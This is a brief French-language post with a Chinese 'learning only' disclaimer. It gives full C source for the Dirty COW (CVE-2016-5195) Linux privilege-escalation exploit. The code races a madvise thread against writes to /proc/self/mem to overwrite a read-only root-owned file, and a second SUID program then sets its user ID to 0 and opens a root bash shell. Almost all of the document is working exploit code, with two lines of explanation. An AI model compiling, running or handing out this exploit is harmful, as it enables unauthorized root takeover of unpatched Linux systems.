
Implémentation éducative de l'exploit d'élévation de privilèges Dirty COW (CVE-2016-5195), incluant le payload de condition de course et l'escalade vers un shell root basé sur SUID pour les systèmes Linux.
记录仅以学习为目的,禁止用于非法用途
La vulnérabilité repose sur l'écriture concurrente de pages sales, permettant de modifier le contenu d'un fichier initialement en lecture seule.
Si le fichier modifié appartient à root et possède le bit SUID, il est alors possible de l'exploiter pour élever ses privilèges.
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// Utilisé pour stocker le contenu et la taille du Payload lu depuis le fichier
char *payload_buf;
size_t payload_size;
// Thread B : appelle en continu madvise pour demander au noyau de libérer la page mémoire
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] Fin du thread madvise\n");
return NULL;
}
// Thread A : écrit en continu des données dans la zone de mappage en lecture seule via /proc/self/mem
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// Écrit le tampon Payload en mémoire
c += write(f, payload_buf, payload_size);
}
printf("[-] Fin du thread /proc/self/mem\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("Usage : %s <fichier cible en lecture seule> <fichier d'entrée Payload>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Ouvre et lit le contenu du fichier Payload en mémoire
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Échec de l'ouverture du fichier Payload");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Le fichier Payload est vide\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Échec de la lecture du fichier Payload");
return 1;
}
close(pf);
printf("[*] Fichier Payload chargé avec succès : %s (taille : %zu octets)\n", payload_file, payload_size);
// Mappe le fichier cible
f = open(name, O_RDONLY);
if (f < 0) {
perror("Échec de l'ouverture du fichier cible");
return 1;
}
fstat(f, &st);
// Empêche la longueur du Payload de dépasser celle du fichier cible
if (payload_size > st.st_size) {
printf("[!] Avertissement : la taille du Payload (%zu) est supérieure à celle du fichier cible (%zu).\n", payload_size, st.st_size);
printf("[!] Selon la caractéristique d'écrasement sur place de Dirty COW, la partie dépassant la taille du fichier cible sera tronquée et ignorée par le système de fichiers !\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] Adresse de mappage du fichier cible : %p\n", map);
// Lance la course à la condition
pthread_t pth1, pth2;
printf("[*] Lancement de la course à la condition (Race Condition)...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] Course terminée, veuillez vérifier le contenu de %s.\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// Restaure l'identité root
setuid(0);
setgid(0);
// Ouvre un bash root
execl("/bin/bash", "bash", NULL);
return 0;
}